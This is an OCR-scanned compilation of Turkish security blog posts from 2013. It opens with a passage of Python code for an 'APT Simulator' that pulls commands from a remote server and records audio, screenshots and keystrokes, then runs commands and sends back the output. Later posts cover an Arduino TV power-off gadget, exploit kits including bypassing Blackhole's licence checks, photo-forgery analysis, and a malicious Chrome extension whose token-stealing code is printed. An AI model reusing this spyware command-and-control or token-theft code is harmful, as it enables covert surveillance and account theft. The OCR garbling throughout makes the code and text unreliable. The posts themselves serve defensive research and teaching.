print "* Sendi ng command output (%) to APT Simulator..." % (result.strip())
response = opener.open(url)
if consol e:
print "* done\n"

def take_order():

url = "http://ww. nertsarica. conif apt_si nul at or/ apt . php"
print "* Connecting to APT Sinmulator:", url

response = opener.open(url)

htm = response.read()

rel="((?:[a-z][a-z0-9_]*))' # Variable Nanme 1
re2="(:)" # Any Single Character 1
re3='((?:[a-z][a-z0-9_]*))' # Variable Name 2
red='(:)" # Any Single Character 2
re5="((?:[a-z][a-z0-9_]*))' # Variable Nanme 3
re6='(:)' # Any Single Character 3
re7="((?:[a-z][a-z0-9_]*))" # Variable Nanme 4

rg = re.conpil e(rel+re2+re3+red+reb5+reb6+re7, re. | GNORECASE| r e. DOTALL)
m = rg.search(htm)

if m
var 1=m group(1)
cl=m group(2)
var 2=m gr oup( 3)
c2=m group(4)
var 3=m gr oup( 5)
c3=m gr oup( 6)
var 4=m group(7)

if consol e:

print "* Received commuand:", varl+cl+var2+c2+var3+c3+var4+"\n"
if varl == "ses":

record_audi o()

if var2 == "ekrangoruntusu":

t ake_screenshot ()

if var4:

process_order (var4)

if var3 == "tuskaydi":

keyl ogger ()

B Administrator: Command Prompt - apt_simulator.py |£|Eli-J

I;l_’T Simu

% Connecting to APT Simulat http: /v mertsarica.comsapt_simulator-sapt.php
* Received command: ses:ekrangoruntusu:tuskaydi:hostname

* Recording audio...
= done

* Taking screenshot...
= done

* Bunning received command: hostname
* Command output: Mert-PC

command output (Mert—-PC> to APT Simulator...

key events... (press enter to escaped
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Sonug olarak tiim bu fonksiyonlar bir araya getirildigi zaman ortaya APT saldirisini simiile edebilen APT Simulator araci ¢ikivermis
oluyor. Goriildiigii iizere Python ile kisa bir siirede ses kayd: yapabilen, ekran goriintiisii alabilen, tus kaydi yapabilen ve uzaktaki
web sunucusundan komut alarak sistem tizerinde ¢alistirabilen ve sunucuya geri gonderebilen bir APT araci tasarlamak miimkiindiir
dolayisiyla kurumda bir niikleer reaktor, bir SCADA sistem olmasa bile APT tehdidi bir kurum igin ciddi anlamda ele alinmasi, bu veya
benzer bir casus yazilim ile kars1 karsiya kalindig1 zaman nasil tespit edilebilecegi, aksiyon alinabilecegi konusunda izerine diisiiniilmesi,
zaman ve biitce ayrilmasi gereken ¢ok 6nemli bir konudur.

Programin kétiiye kullanilmasini engelleme adina prototip olarak gelistirdigim APT Simulator aracini, dileyen giivenlik uzmanlar1 daha
da gelistirerek APT testlerinde veya bilgisayar olaylar1 miidahale ekiplerinin ¢alismalarinda rahatlikla kullanabilirler.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Arduinooo

Source: https://www.mertsarica.com/arduinooo/
By M.S on September 1st, 2013

e

Hackinge merakli olan fakat elektronikten anlamayan ve bunun eksikligini hisseden biri olarak Arduino'nun benim i¢in biiyiik bir nimet
olacagini diislinerek bundan yaklagik bir sene dnce bir tane Aurdino UNO R3 siparis etmigtim.

Bilmeyenler, duymayanlar igin Vikipedi've gére Arduino'nun, Processing/Wiring dilinin (C programlama diline olduk¢a
benzemektedir) bir uygulamasini iceren gelistirme ortamindan olusan bir fiziksel programlama platformu oldugunu, tek basina
calisan interaktif nesneler gelistirmek icin kullanilabilecegi gibi bilgisayar iizerinde ¢alisan yazilimlara da (Macromedia Flash,
Processing, Max/MSP, Pure Data, SuperCollider gibi) baglanabilecegini ve hazir iiretilmis kartlar satin alabildiginiz gibi, kendi
tirettiginiz donamimlarla ¢aligabildiginiz, ¢esidine gore mikrodenetleyici iceren bir kart oldugunu soyleyebiliriz.

ICSP
for USB interface

(SPI) MISO
(SPI) MOSI
(SPI) S5

Interrupt 1
Interrupt 0

(SPI) SCK

o1
oo
a @
Ty
a9

ICSP

uUsB
to computer

Tto 12V
DC input

il
Q
w
o
o

(12C) SDA

Devre tahtasi, direngler, lehim vb. konulardan anlamadigim, anlamak i¢in de ¢ok fazla zaman ayiramayacagimi dngorerek sensorlerle
ve modiillerle ¢alismanin bana hiz ve zaman kazandiracagini diisiinerek Arduino UNO R3%in yani sira bir de sensor shield v5.0 siparis
etmistim. Sensor shield ile ufak tefek denemeler yapmak ve Arduino diinyasina agrisiz, sizisiz bir giris yapmak i¢in kizil 6tesi alici ve
verici, LCD ekran, buton, sesli uyar1 modiilii da siparis etmistim. Gel zaman git zaman, ne zaman Arduino ile birseyler yapmak istesem
mutlaka eksik bir sensor veya modiil oldugu ortaya ¢ikiyor ve tekrar Emartee, Robotistan veya Roboweb gibi sitelerden yeni parcalar
siparig etmem gerekiyordu. Hele ki bu Emartee'den siparis edilecek ise parganin elime ulasmasi 15 - 20 giinii bulabiliyordu.

Bekleye bekleye paslandigimi farkederek 1 sene sonunda ufak da olsa birseyler yapmaya karar verdim. Her ne kadar ilk etapta gonliimden
NFC/RF ile ilgili birseyler yapmak gegse de dnceligim pas atmak oldugu i¢in daha seri ilerleyebilecegim birseyler yapmaya karar verdim.
Evde sagima soluma bakip neyi kurcalasam diye diisiiniirken géziime televizyon kumandasi ilisiverdi. TV ile kumandanin kizil 6tesi
haberlestigini bildigim ve elimde de kizil 6tesi alict ve verici oldugu icin aklima ortaokul yillarim geldi.

Benimle yasit olanlar eminim 90'l1 yillarda oldukga popiiler olan fakat o zaman i¢in olduk¢a da pahali olan ve her ¢ocugun hayalini
kumandasinin (ve diger kizilotesi haberlesen cihazlarin) gondermis oldugu IR (infrared) sinyalleri/kodlar1 dgrenerek kumanda gibi
kullanilabilmesiydi. Bu saat sayesinde bir¢ok televizyon, afacan c¢ocuklarin hedefi haline gelmis, bir o kadar ¢ocukta ig iistiinde
yakalanarak kulaklari, kizgin televizyon sahipleri tarafindan ¢ekilmisti.

30 yasi devirmis ancak hala afacanlikta sinir tanimayan biri olarak evde Arduino ile TV'yi caktirmadan acip, kapayarak esimi
kizdirmanin planlarini1 yapmaya basladim. Bunun i¢in oncelikle Arduino i¢in IR Remote kiitiiphanesini yiikledim. Samsung TV'yi
kapatabilmek icin oncelikle kumanda {izerinde kapatma butonuna basildiginda kumandanin TV'ye gonderdigi IR kodunu Arduino
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http://www.robotistan.com/Arduino-UNO-R3-Yeni-Versiyon,PR-903.html
http://www.emartee.com/product/41953/Sensor%20Shield%20V5.0%20%20Arduino%20Compatible
http://www.emartee.com/product/42243/Wrobot%20Digital%2038KHz%20IR%20Sensor%20Kit
http://www.emartee.com/product/42243/Wrobot%20Digital%2038KHz%20IR%20Sensor%20Kit
http://www.emartee.com/product/42181/Wrobot%20Digital%20Button%20Switch%20%20Arduino%20Compatible
http://www.pjrc.com/teensy/arduino_libraries/IRremote.zip

ile tespit etmem gerekiyordu. Fakat tam bu esnada aklima Galaxy S4'de de infrared oldugu ve Samsung'un gelistirdigi WatchON
adindaki cep telefonunun uzaktan kumanda olarak kullanabilmesini saglayan uygulama geldi. WATCHON uygulamasinin 100'den fazla
TV markasin1 desteklemesi aklima hemen bir soru getirdi. Arduino'nun bellegi yettigi siirece, 10-15 popiiler markanin TVlerinin IR
kodlarin1 WatchON uygulamasindan alsam, Arduino'ya yiiklesem, Arduino da ¢alisir ¢alismaz yiikli olan tiim bu kodlarini bir dongii
ile gondermeye baslasa, Arduino'yu Universal TV PowerOff araci olarak kullanabilir miydim ?

Bunun igin oncelikle IR alicty1 Arduino'ya baglayip, IR Remote kiitiiphanesi ile gelen ve iizerinde ufak bir degisiklik yaptigim
IRrecvDump.ino kodunu, Arduino IDE ile derleyip Arduino'ya yiikledim ve galistirdim. Ardindan Samsung'un WatchON uygulamasini
calistirip once Samsung TV i¢in sonra LG TV i¢in ve ardindan Vestel ve birka¢ marka daha igin uygulamay: ayarlayip TV kapama
komutunu gonderdim ve Arduino ile bu kodlar1 kayit altina aldim.

OEQ40BF (32 bits)

aw (68): -4504 4500 -4500 550 -1700 500 -1750 S00 -1750 500 -550 550 -5S50 S00 -600 S00 -550 550 -550 S00 -1700 550 -1700 550 -1700 550 -550 S00 -550 550 -5S50
102AA071
[Unknown encoding: 102AA071 (32 bits)
[Raw (68): 18258 4400 -4550 S00 -1650 500 -1700 500 -1700 450 -650 S00 -600 500 -600 S00 -600 SO0 -600 500 -1700 450 -1700 500 -1700 S00 -600 500 -600 500 -600
180BDSET
[Unknown encoding: 180BDSEF (32 bits)
Raw (68): 1902 8950 -4550 500 -650 450 -650 450 -1800 500 -600 SO0 -600 SO0 -600 500 -600 500 -600 SO0 -1750 500 -1800 450 -650 450 -1800 500 -1750 500 -1750
963DD9BE
Unknown encoding: 963DD9BE (32 bits)
Raw (38): 122 8450 -4250 500 -550 500 -600 500 -1600 550 -500 500 -600 450 -600 550 -500 S00 -550 500 -4300 500 -550 500 -1600 500 -600 450 -600 500 -550 500
3B9CD46

known encoding: 23BSCD4é (32 bits)
Raw (38): 31546 B400 -4300 500 -550 500 -550 500 -1650 500 -550 500 -550 500 -550 500 -600 450 -600 S00 -4250 500 -600 550 -1550 500 -550 500 -550 S00 -600 45
[EOEQ40BF
[ECEQ40BF (32 bits)
Raw (68): -24582 4400 -4550 550 -1700 500 -1750 500 -1700 550 -650 500 -650 S00 -650 S00 -650 S00 -650 500 -1750 500 -1700 600 -1650 500 -650 500 -650 SS0 -60
909040BF
909040BF (32 bits)

aw (68): -21360 4300 -4400 500 -1700 450 -600 450 -600 450 -1750 450 -600 450 -600 450 -600 450 -600 450 -1700 500 -550 500 -550 500 -1700 450 -600 450 -600
13CFFDB4
Unknown encoding: 13CFFDB4 (32 bits)
Raw (66): 6544 4400 -4600 500 -1750 500 -1750 500 -600 500 -550 S50 -550 S50 -550 500 -1750 1550 -1750 500 -1750 S00 -600 500 -600 500 -1750 500 -550 500 -175
FO409EET
Unknown encoding: FO409EF7 (32 bits)
faw (44): -12320 4450 -4550 500 -1750 500 -600 500 -600 S00 -600 SO0 -650 450 -650 450 -650 S00 -600 S00 -600 500 -600 500 -600 500 -600 500 -1750 500 -600 SO
F2641E6A
Unknown encoding: F2641E6A (32 bits)
Raw (38): 27850 8300 -4250 500 -600 450 -600 450 -1650 450 -600 450 -600 750 -300 S00 -600 450 -600 450 -4250 S00 -600 450 -1600 500 -600 450 -600 450 -600 45

m | »

[Nolne endng | (9600 baud

Ardindan birka¢ TV markasi i¢in elde ettigim bu kodlar1 (aslinda daha fazla TV markasi i¢in kod yiikleyecektim fakat Arduino UNO'nun
kisith bellegi buna imkan vermedi) hazirlamis oldugum PowerOff.ino adindaki farkli bir Arduino programina kopyaladim. Bu programi
derleyip Arduino'ya yiikledikten sonra artik Arduino calisir calismaz yiikli olan tiim TV kapatma IR kodlarini IR vericisi {izerinden
gonderir hale gelmisti.
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https://play.google.com/store/apps/details?id=tv.peel.samsung.app
http://www.mertsarica.com/codes/IRrecvDump.ino
http://www.mertsarica.com/codes/PowerOff.ino

Sira POC (proof of concept) galismasi yapmaya geldiginde POC goniilliimiiz Bener ERK, Arduino'yu cebine atip, gesit ¢esit marka
TVlerin bir arada oldugu bir magaza arayisina girdi ve POC ¢alismasini kisa siire igerisinde basariyla tamamladi. (Ziyaretin ve POC
¢alismasinin sonucunu asagidaki videodan izleyebilirsiniz :))
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https://twitter.com/benererk

Sonug olarak Arduino ile NFC/RF giivenlik arastirmalarina giris yapmadan 6nce yapmis oldugum bu ¢alisma ile Arduino'nun benim
gibi elektronikten anlamayanlar i¢in biiyiik bir nimet oldugunu teyit etmis oldum.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Istismar Kiti Nedir ?
Source: https://www.mertsarica.com/istismar-kiti-nedir/
By M.S on August 1st, 2013

P

11 Temmuz tarihinde, Aralik ayina damgasin1 vuran FatMal zararli yaziliminin yenisi ile karsilastik. Tam olarak yenisi demek belki
¢ok dogru olmayacaktir ¢iinkii bu salginda kullanilan zararli yazilim ve komuta kontrol merkezinin siiriimii bir 6nceki FatMal komuta
kontrol merkezinden farkliydi. Benzer olan tek nokta hemen hemen ayni sahte e-postalarin kullanilmis olmasiydi.
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https://www.mertsarica.com/istismar-kiti-nedir/
https://www.mertsarica.com/istismar-kiti-nedir/
https://www.virustotal.com/en/file/39230f5db1b2d99d79084e363f2acf623cd6191ae3f1d6eaf5106d9f12168642/analysis/

From TTHET Bigiendirme <efatura@tinet bighendrme net > Sent  Per 11072013 09:30

|

subject N TTNET Hizmet Fatura bigaening

11 Temmuz 2013

Bu salgin aslinda Kasim ayindaki salginda (Hatirlatma: https://internetsube.bddkuyari.com/padm/content/injectus.js) kullanilan zararl
yazilim ve komuta kontrol merkezi siiriimi ile neredeyse ayniydi. Bu 3 salginin da arkasinda ayni grup mu vardi bilinmez ama bu defa
kotii adamlar bir tasla 2 kus vurmaya ¢aligmislardi. Gonderdikleri e-postada yer alan adres ziyaret edildiginde karsiniza sahte bir fatura
goriintiileme sayfasi ¢ikiyordu. Dogru CAPTCHA kodu (inandiricilik adina her tiirlii zahmete katlanmuslar :)) girilip GORUNTULE
butonuna basildiktan sonra size, ad1 her defasinda degisen ve i¢inde zararli yazilim bulunan bir ZIP dosyas1 gonderiliyordu. Daha 6nceden
dili yananlar, ZIP dosyasini indirip, i¢inde pdf.exe uzantili dosyay1 gordii§iinde bunun zararli yazilim oldugunu anlayip, calistirmayarak
kot adamlarin oyununa gelmediklerini diisiinerek biiyiik bir mutluluk ile sahte sayfay:1 kapatip, zararli yazilim silip islerine devam
ettiler fakat birseyi gézden kacirdilar.

P o T T N W W

- cHN efatura tinet - bilgilendirme net i n -

VT ——
butonuna Basmans gerehme e

853833

| Gorumiute |
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https://www.virustotal.com/en/file/eebe6e973884f8012157937ee195ff96957d13e6a0bb308af29aca9e3df24028/analysis/
https://www.virustotal.com/en/file/eebe6e973884f8012157937ee195ff96957d13e6a0bb308af29aca9e3df24028/analysis/
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GORUNTULE butonuna basar basmaz sahte fatura goriintiileme web sitesi, size ZIP dosyasim yollamak ile kalmayip ayrica sizi
haberiniz olmadan istismar kitinin (Private Exploit Pack oldugunu tahmin ediyorum.) bulundugu zararli bir diger web sitesine de
yonlendiriyordu. Siz her ne kadar ZIP dosyasinin indirmemis olsaniz da, internet tarayicinizda bulunan bir zafiyet bu zararli web sitesi
(istismar kitinin ytikli oldugu site) tarafindan PluginDetect adindaki javascript kiitiiphanesi yardimu ile tespit ediliyordu. Ardindan
istismar kiti yiiklii olan bu zararli web sitesi tarafindan zafiyet barindiran internet tarayicisi eklentilerinize (Java, Adobe PDF Reader,
Flash vb.) gore istismar kodu (exploit) gonderilerek sisteminiz ele gegiriliyor (hackleniyor), sisteminize indirmekten ve caligtirmaktan
kacindiginiz o ZIP dosyasi iginde yer alan zararli yazilim, bagka bir yolla sisteminize indirilerek ¢aligtirtlmis oluyordu.
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http://malware.dontneedcoffee.com/2013/07/pep-new-bep.html
http://www.pinlady.net/PluginDetect/All/
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Istismar kitleri son yillarda bu tiir salgmlarin diginda 6zellikle Su Kaynag: (Watering Hole) saldirilarinda da sik¢a kullanilmaktadir. Su
kaynag saldirilarinda kotii adamlar, sizmak istedikleri kurumlarin sistemlerini direkt hedef almak yerine dolayli yoldan hedef alirlar
ve bunun i¢in de hedef kurum tarafindan ziyaret edildigi diisiiniilen web sitelerini hedef olarak segerler. Ornek ile agiklamak gerekirse
mesela birgok calisan, giin i¢inde bir defa da olsa takip ettikleri gazetelerin web sitelerini ziyaret ederler. Bunu bilen kétii adamlar
da kurum ¢alisanlarina oltalama saldiris1 yapmak yerine sik¢a ziyaret edilen gazetelerin web sitelerini hackleyerek, FatMal 6rneginde
oldugu gibi sayfay1 ziyaret edenlerin istismar kiti olan bir diger zararli web sitesini ziyaret etmelerini saglamis olur. Bu sayede bu siteyi
ziyaret eden yiizlerce farkli kurumun, binlerce kullanicisinin kullanmis oldugu sistemler bu saldirt yontemi ile bir anda kotii adamlarin
kontrolii altina girmis olur.

How a watering hole technique works:

Istismar kiti denilince belki de akla ilk olarak Blackhole istismar kiti gelir. Blackhole istismar Kiti aslinda onlarca istismar kitinden
sadece bir tanesidir fakat onu farkli yapan yeni siirtimlerinde ¢ogunlukla 0. giin istismar kodlarina ev sahipligi yapmasidir. Metasploit
aracina bir uygulamanin istismar kodunun eklenmesinin hemen ardindan Blackhole istismar kitine de bu istismar kodunun eklenmesi
ve yeni siirlimiiniin gelistiricisi tarafindan hizlica yayinlanmasi, bu istismar kitinin ne denli tehlikeli olabilecegine giizel bir drnektir.

Istismar kitlerinin oldukga tehlikeli ve siber saldirilarda sik¢a kullaniliyor olmasi nedeniyle zararli yazilim analistleri, giivenlik
uzmanlari, emniyet mensuplart i¢in bu istismar kitlerinin sanal ortamlara kurulmasi, analiz edilmesi ve isleyislerinin anlasilmasi,
bilgisayar olaylarina miidahale etme agisindan olduk¢a dnemlidir fakat cesitli sitelerden temin edilen bu istismar kitlerinin kullanilmasi
pek o kadar kolay degildir. Istismar kiti gelistiricileri bu isten para kazandiklari igin lisanslamaya 6nem vermektedirler dolayistyla
istismar kitlerini kotii adamlara kiralarken veya satarken cesitli araclar ile (Ornek: ionCube PHP Encoder) ile istismar kitlerine alan adi
bazli ve zaman bazli kisitlamalar koymaktadirlar. Fakat bu kontroller rahatlikla asilabildigi icin art niyetli kisiler, ¢esitli forumlardan
temin ettikleri bu istismar kitlerini kurumlara ve kullanicilara karsi rahatlikla kullanilabilmektedirler.
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https://docs.google.com/spreadsheet/ccc?key=0AjvsQV3iSLa1dE9EVGhjeUhvQTNReko3c2xhTmphLUE&usp=sharing
http://www.metasploit.com/

Ornegin gectigimiz aylarda bir arastirma icin sanal makineye Blackhole v2.0.1 istismar kiti kurmam gerektiginde benim de bu kontrolleri
agmam gerekti. Bunun i¢in oncelikle temin ettigim Blackhole istismar kitinin hangi internet sitesi i¢in lisanslandigini, bu lisansin
hangi tarihe kadar gecerli oldugunu ve bunlar1 kontrol eden fonksiyonlar tespit etmem gerekti. Fonksiyonlar1 tespit edip, yamadiktan

(patching) sonra sanal makinede bu istismar Kitini basariyla ¢aligtirabildim.

. 127.0.0.1fcrisps.php

€ > X |0 127.0.0.1/main.php

Fatal error X

<bri>The encoded file <b

‘Waiting for 127.0.0,1,..

(127.0.0.1/main.php

€ = X0 127.0.0. Lerisps.php

rataterror Y

ot permisioned for 1

Waiting for 127,001,

Fatal error ]

<br>The encoded file <b>Ciwampiwmwlcrisps.php <jb> has expired.

Waiting Forgjnfo. o
{ =info,l’crisps.ph: x 9%

b 4 :E.info;‘cnsps.php e

’<:.b.r.'>?\"i:rur=sy!_sﬁsmi.d.oﬁkis-sbt.mere':tfaaﬁ-acdéy.-.béﬁore..égm;3!wamp.j§www\:;.ﬁ_sp9‘:papﬂs>‘wa§.e’nm&éd:é\niﬂ ez e e

Waiting foninfoi 5
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Ozetle istismar kitleri sikga giincellendigi, yeri geldiginde kotii adamlara kiralanabildigi, forumlardan {icretsiz olarak kolayca temin
edilebildigi i¢in kurumlar ve kullanicilart igin biiylik bir tehdit haline gelmistir. Gliniimiizde kurumlar, sunucularinin yama seviyelerine
onem verdikleri gibi kullanicilarinin sistemlerinde yiiklii olan ve istismar kitleri tarafindan istismar edilen Java, Adobe PDF Reader,
Flash gibi uygulamalar1 da yama seviyelerine 6nem vermeleri gerekmektedir. Son kullanicilarin yani bizlerin ise istismar kitlerinin
hedefi olmamalar1 adina ayn1 sekilde isletim sistemlerinin ve diger uygulamalarin yama seviyelerini giincel tutmalari, Browser Scan
gibi siteler lizerinden yama seviyelerini ara ara kontrol etmeleri ve giivenlik {irlinlerinin imzalarini giincel tutmalar1 gerekmektedir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Manipiile Edilmis Fotograf Analizi

Source: https://www.mertsarica.com/fotograf-analizi/
By M.S on July Ist, 2013

P

Gegtigimiz aya damgasini vuran Gezi Parki eylemlerini yazili, gorsel ve internet medyasindan takip eden bir vatandas olarak ilgimi,
olaylarin yani sira hem kamuoyunda hem de taraflar arasinda sikca tartigmalara yol agan gesitli fotograflar ¢ekti. Bir taraf fotograflar
iizerinden diger tarafa yiiklenirken, diger taraf fotograflarin sahte oldugunu ve tizerinde oynandigini iddia ediyordu. Meslegi geregi
stipheciligin doruk noktasinda yasayan, ne duyduguna ne de gordiigiine didik didik etmeden inanamayan benim gibi vatandaglar i¢in
eminim hangi fotograflarin gercek, hangi fotografin sahte oldugu biiyiik bir merak konusu olmustur. Bu yazimda %100 kesin olmasa
da iizerinde oynanmis, degisiklik yapilmis bir fotografin (iiriin adi olmus bir marka olmasi nedeniyle photoshoplanmig fotograf da
diyebiliriz) nasil tespit edilebilecegine kisaca deginecegim.

Error Level Analysis (ELA), Tiirk¢e meali ile Hata Seviyesi Analizine ilk olarak 2007 yilinda BlackHat giivenlik konferansinda sunum
yapan Neal Krawetz tarafindan yer verilmistir. ELA kisaca JPEG dosyasmin belli bir goriintii kalitesi seviyesinde kaydedilmesi ile
ortaya ¢ikan hatalarin, kaydedilmeden 6nceki hali ile kiyaslamasini gergeklestirmek i¢in kullanilan bir algoritmadir. Herhangi bir JPEG
dosyasini tekrar ve tekrar kaydettiginiz taktirde resmin kalitesinin diistiigiinii, 20 defa kaydettikten sonra ise resmin kalitesinin en diigiik
kalite seviyesine geldigini rahatlikla gorebilirsiniz.JPEG, her kayitta (save) goriintii kalitesini bir miktar kaybeden bir goriintii, dosya
bicimidir dolayisiyla ELA'ya imkan tanimaktadir.

Teorik bilgiyle ¢ok fazla kafamizi karigtirmadan isi pratige dokerek bir JPEG dosyasinda yapilan manipiilasyonu nasil tespit
edebilecegimize kisaca bakalim. ELA i¢in kullanabilecegimiz ¢evrimigi (online) ve ¢evrimdisi (offline) olmak iizere iki tane aracimiz
bulunmaktadir. Cevrimdist analiz i¢in Python programlama dili ile yazilmis olan ela.py aracini kullanabiliriz. Aracin kaynak koduna
bakacak olursak bu arag, verilen bir fotografi %95 goriintii kalitesi ile kaydetmekte, farkini almakta ve ortaya ¢ikan hata seviyesini gorsel
olarak ortaya koymaktadir. Fotografta manipiile edilmis, degistirilmis yerler kayit sonras1 daha yiiksek hata seviyesine sahip oldugu i¢in
ELA sayesinde gorsel olarak manipiile edilen yerlerin tespit edilmesi miimkiin olabilmektedir.

Ornek olarak bu yaz igin ¢ekmis oldugum fotografin orjinal halini ve Photoshop yazilim1 ile manipiile edilmis halini ELA teknigi ile
kisaca analiz edelim.

Sol tarafta ¢ekmis oldugum fotografin orjinal halini, sag tarafta ise ELA teknigi ile resmin analiz edilmis halini gorebilirsiniz.
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https://browserscan.rapid7.com/scanme
https://www.mertsarica.com/fotograf-analizi/
https://www.mertsarica.com/fotograf-analizi/
http://www.wired.com/images_blogs/threatlevel/files/bh-usa-07-krawetz.pdf
http://www.wired.com/images_blogs/threatlevel/files/bh-usa-07-krawetz.pdf
https://tr.wikipedia.org/wiki/JPEG
https://gist.github.com/ewencp/3356622

Sol tarafta cekmis oldugum fotografin manipiile edilmis halini (Batman'in logosu kirmizi boyanmistir), sag tarafta ise ELA teknigi ile
resmin analiz edilmis halini gorebilirsiniz.
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iki logoya daha da yakindan bakacak olursak manipiile edilmis resmin ELA'sinin daha yiiksek oldugunu dolayistyla renkte farklilik
(kirmizilik) oldugunu gorebilirsiniz.
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Cevrimigi analiz i¢in ise 29ach sitesinde yer alan Image Error Level Analyser aracindan faydalanabiliriz. HTMLS5 destegine sahip bu
arag sayesinde siiphelendigimiz, analiz etmek istedigimiz fotografi bu sayfaya siiriikkledigimizde olusturulan ELA sonucunu rahatlikla
gorebiliyoruz. Error Level Analyser aracint ve ELA becerinizi gelistirmek i¢in son zamanlarda sosyal aglarda ve medyada sikca
paylasilan bobiler.org sitesine ait olan montajlanmis fotograflar1 6rnek olarak kullanabilirsiniz. Ornegin bobiler.org sitesinden temin
ettigim bu fotografta, birkag polisin yol ortasinda asili duran bir haliya kosarak ilerledigini goriiyoruz. Mantik yiiriiterek bu fotografin
gercek olamayacagini tahmin edebilsek de, basarili bir montaj sonucunda ortaya ¢ikmis bu fotografi Error Level Analyser ile analiz
ederek hangi kisimlari manipiile edildigini tespit edebiliriz.

Goriildiigii izere halinin ve halinin asili oldugu kismin manipiile edildigi agik¢a goriilmekte dolayisiyla bu fotografin lizerinde oynama
yapildigini rahatlikla sdyleyebiliriz.

« C A [} 29a.ch/sandbox/2012/imageerrorlevelanalysis

How does this work?

Quality

§— 8

Error scale

Sonug olarak ELA ile siz de dogrulugundan siiphe ettiginiz fotograflar1 analiz edebilirsiniz ancak ELA ile her zaman %100 dogru bir
sonuca varilamayacagi, manipiilasyonlarin tespit edilemeyecegi durumlarin da s6z konusu oldugu asla unutulmamalidir. ELA ile ilgili
daha fazla bilgi almak ve 6rnek analiz gormek igin bu sayfayi ve de bu sayfay1 ziyaret edebilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Jeton Hirsizlan

Source: https://www.mertsarica.com/jeton-hirsizlari/
By M.S on June 4th, 2013

=3,

Son aylarda Tiirk kullanicilarini hedef alan, Chrome ve Firefox i¢in gelistirilmis olan zararl eklentilerin sayisinda biiyiik bir artis oldugu
eminim sizlerin de dikkatinden kagmamustir. Ozellikle web siteleri iizerinden miisterilerine servis/hizmet veren cogu kurumsal firma,

26


http://29a.ch/sandbox/2012/imageerrorlevelanalysis/
http://www.bobiler.org
http://www.bobiler.org/aslinda_m271291n
http://fotoforensics.com/tutorial-ela.php
http://fotoforensics.com/sample-ela.php
https://www.mertsarica.com/jeton-hirsizlari/
https://www.mertsarica.com/jeton-hirsizlari/

bu zararl eklentiler nedeniyle miisterilerinden gelen "sitenize girerken reklam (oyun, ¢opgcatan sitesi vb.) penceresi ile karsilagryorum"”
sikayetlerini sik¢a duyar olmuslardir. Bu sikayetlere konu olan zararli eklentiler, Facebook tizerinden "videomu izleyip yorum atar
musiniz?" gibi mesajlarla yayilirken, Twitter ve Chrome Web Magazasi {izerinden "Twitter Takip¢i Arttirma" vb. eklenti isimleri altinda
yayilmaktadirlar. Bu zararli eklentilerden bazilari Facebook kullanici adi ve sifrenizi ¢alarken, bazilari istenmeyen reklam mesajlart
¢ikarirken, bazilari da OAUTH jetonlarini ¢galmaktadirlar. Bu yazimda hem istenmeyen reklam mesaji hem de OAUTH jetonunu c¢alan
zararlt Chrome eklentisine yer verecegim.

Facebook iizerinden yayilan zararli yazilim, "videomu izleyip yorum atar misiniz?" mesaji ile internet tarayicisina bulastig1 kurbanin
arkadaslarini, Dropbox tizerinde yer alan bir Flash dosyasina yonlendirmeye ¢alismakta ve bu siteyi ziyaret eden kullanici/kurban, sahte
Adobe Flash Player giincelleme sayfasi ile karsilagmaktadir.

u anonzme, com/phpfvideo.phy 2 i_} https:/fdl.dropboxuserconte

[ = ] E‘| https:,u‘,u‘dl.dm_pboxus_ercoatent.com;‘s;‘EQO&i’zszMM?;‘lZ.swf i —

ADOBE FLASH PLAYER

20 saniyede Flash Player'i guincelleyin

Window icin 8/7/Vista/XP

Copyright © 2013 Adobe Systems Incorporated. All rights reserved.

B 125wl 1 Scripts (13 1 Button 14

[ IeN A=

I SoButton 14 .
A7 On release
on (release)

getUREL{ "http:  =ocialhiznetleri . com-fla=sh php". "_blank"):

Flash dosyasi, kaynak koduna cevrilip incelendikten sonra Flash dosyasimnin kullaniciy1 http:/socialhizmetleri.com/flash.php
sayfasmna yonlendirdigi, bu sayfanin da kullaniciya FlashPlayer.exe adi altinda zararli bir dosya yiiklettigi goriilmektedir. Bu
dosya ise calistirildiginda, C:\ProgramData\Adobe klasorii altinda 3 dosya (adobe.crx, komut.cmd, update.xml) olusturmaktadir.
Program bir yandan adobe.crx Chrome eklentisini HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist\l anahtar1
altina klmfkladgfkicpnhcibocnempbgfpbih;C:\ProgramData\Adobe\update.xml degeri ile kaydetmekte diger yandan calistirdigi
komut.cmd betigi ise o esnada sistem g¢alisan Chrome internet tarayicisi olmasi durumunda tarayiciyr kapatmaktadir. (C:\Windows
\System32\taskkill.exe /im chrome.exe)

Art niyetli kisiler, ExtensionlnstallForcelist ile kullanicinin bilgisi olmadan Chrome internet tarayicisina zararl eklentiyi yiikletmektedir.
adobe.crx eklentisi ise aslinda iginde Javascript dosyalar1 da barindiran bir ZIP dosyasidir dolayisiyla CRX uzantisi, ZIP olarak
degistirilip agilarak i¢inde yer alan dosyalar rahatlikla incelenebilmektedir. Eklentinin en 6nemli pargasi olan background.js javascript
dosyas1 metin editdrii ile incelendiginde art niyetli kisilerin niyeti rahatlikla anlagilabilmektedir.

27


http://www.chromium.org/administrators/policy-list-3#ExtensionInstallForcelist

var first_run = false;
if (!localStorage['ran before']l) {
first_run = true;

localStorage['ran before'] = '1';

var currentTab = "";
if (first run)

i
chrome.tabs.create ({url: 'http://ask-tr.
i
Hif(first_run = true){

my id = chrome.app.getDetails().id;
[Flchrome .management .getill (function (extensions) {

= for (i = 0; i < extensions.length; i++) {
= if (extensions[i].id !'= my id) {
chrome .management.uninstall (extensions[i] .id) ;
1
}
1y
}
video = {}:
function videogetir(token,tokenSonuc) {
—|jQuery.ajax ({
url:
type:'G 5
= beforeSend: function(regq) {
req.setRequestHeader ("Accept™, "text/html,applicatio a5
r ]
=] success: function(data) {

video = JSON.parse (data);
videogonder (tokenSonuc.about , tokenSonuc. name , tokenSonuc.picture , token, tokenSonuc.id) ;

M

rh:
-1
post = {};
[lfunction postgetir (token,tokenSonuc) {
HiQueryv.ajax({
url: 'http://ask-tr.com/php/post.php',
type:'G -
=i beforeSend: functiaon({req) {
req.setRequestHeader ("Accept™, "text/html,application/xhtml+xml,application/xml;qg=
s
= success: function(data) {
post = JSON.parse (data);
postgonder (token, tokenSonuc) ;
fote = ()
[l function fotogetir(token)(
):
function(data) |
se (data) !
fotogonder(token) ;
]
1E
}
[ function fotogonder (token) |
1 3query
